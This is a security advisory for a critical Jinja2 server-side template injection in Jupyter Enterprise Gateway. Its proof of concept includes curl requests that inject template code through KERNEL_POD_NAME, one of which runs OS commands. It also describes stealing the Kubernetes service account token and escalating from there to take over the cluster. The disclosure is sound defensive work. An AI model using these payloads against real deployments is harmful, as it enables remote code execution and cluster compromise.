PT-2026-46096 · Pypi · Jupyter-Enterprise-Gateway

Published

2026-06-03

·

Updated

2026-06-03

CVSS v4.0

10

Critical

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

The environment variables (KERNEL XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL POD NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel xxx variables, in addition to kernel pod name discussed above, such as kernel working dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 * 7}}

curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python kubernetes", "env": {"KERNEL POD NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python kubernetes", "last activity": "2025-07-17T07:14:42.155736Z", "execution state": "starting", "connections": 0}
Running kubectl get pods
NAME                         READY  STATUS  RESTARTS  AGE
bdawg-49                       1/1   Running  0     3m54s

Remote code execution - OS Commands via SSTI

curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python kubernetes", "env": {"KERNEL POD NAME": "bdawg-{{ cycler. init . globals .os.popen("hostname").read() }}", "KERNEL NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python kubernetes", "last activity": "2025-07-17T07
NAME                         READY  STATUS  RESTARTS  AGE
bdawg-enterprise-gateway-8695685bc8-klm4m      1/1   Running  0     2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources                        Non-Resource URLs           Resource Names  Verbs
selfsubjectreviews.authentication.k8s.io         []                   []        [create]
selfsubjectaccessreviews.authorization.k8s.io      []                   []        [create]
selfsubjectrulesreviews.authorization.k8s.io       []                   []        [create]
rolebindings.rbac.authorization.k8s.io          []                   []        [get list create delete]
configmaps                        []                   []        [get watch list create delete]
namespaces                        []                   []        [get watch list create delete]
persistentvolumeclaims                  []                   []        [get watch list create delete]
persistentvolumes                    []                   []        [get watch list create delete]
pods                           []                   []        [get watch list create delete]
secrets                         []                   []        [get watch list create delete]
services                         []                   []        [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status  []                   []        [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io     []                   []        [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status      []                   []        [get watch list create delete]
sparkapplications.sparkoperator.k8s.io          []                   []        [get watch list create delete]
                             [/.well-known/openid-configuration/]  []        [get]
                             [/.well-known/openid-configuration]  []        [get]
                             [/api/*]                []        [get]
                             [/api]                 []        [get]
                             [/apis/*]               []        [get]
                             [/apis]                []        [get]
                             [/healthz]               []        [get]
                             [/healthz]               []        [get]
                             [/livez]                []        [get]
                             [/livez]                []        [get]
                             [/openapi/*]              []        [get]
                             [/openapi]               []        [get]
                             [/openid/v1/jwks/]           []        [get]
                             [/openid/v1/jwks]           []        [get]
                             [/readyz]               []        [get]
                             [/readyz]               []        [get]
                             [/version/]              []        [get]
                             [/version/]              []        [get]
                             [/version]               []        [get]
                             [/version]               []        [get]

Impact

This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Fix

Weakness Enumeration

CWE-1336

Related Identifiers

GHSA-F49J-V924-FX9W

Affected Products

Jupyter-Enterprise-Gateway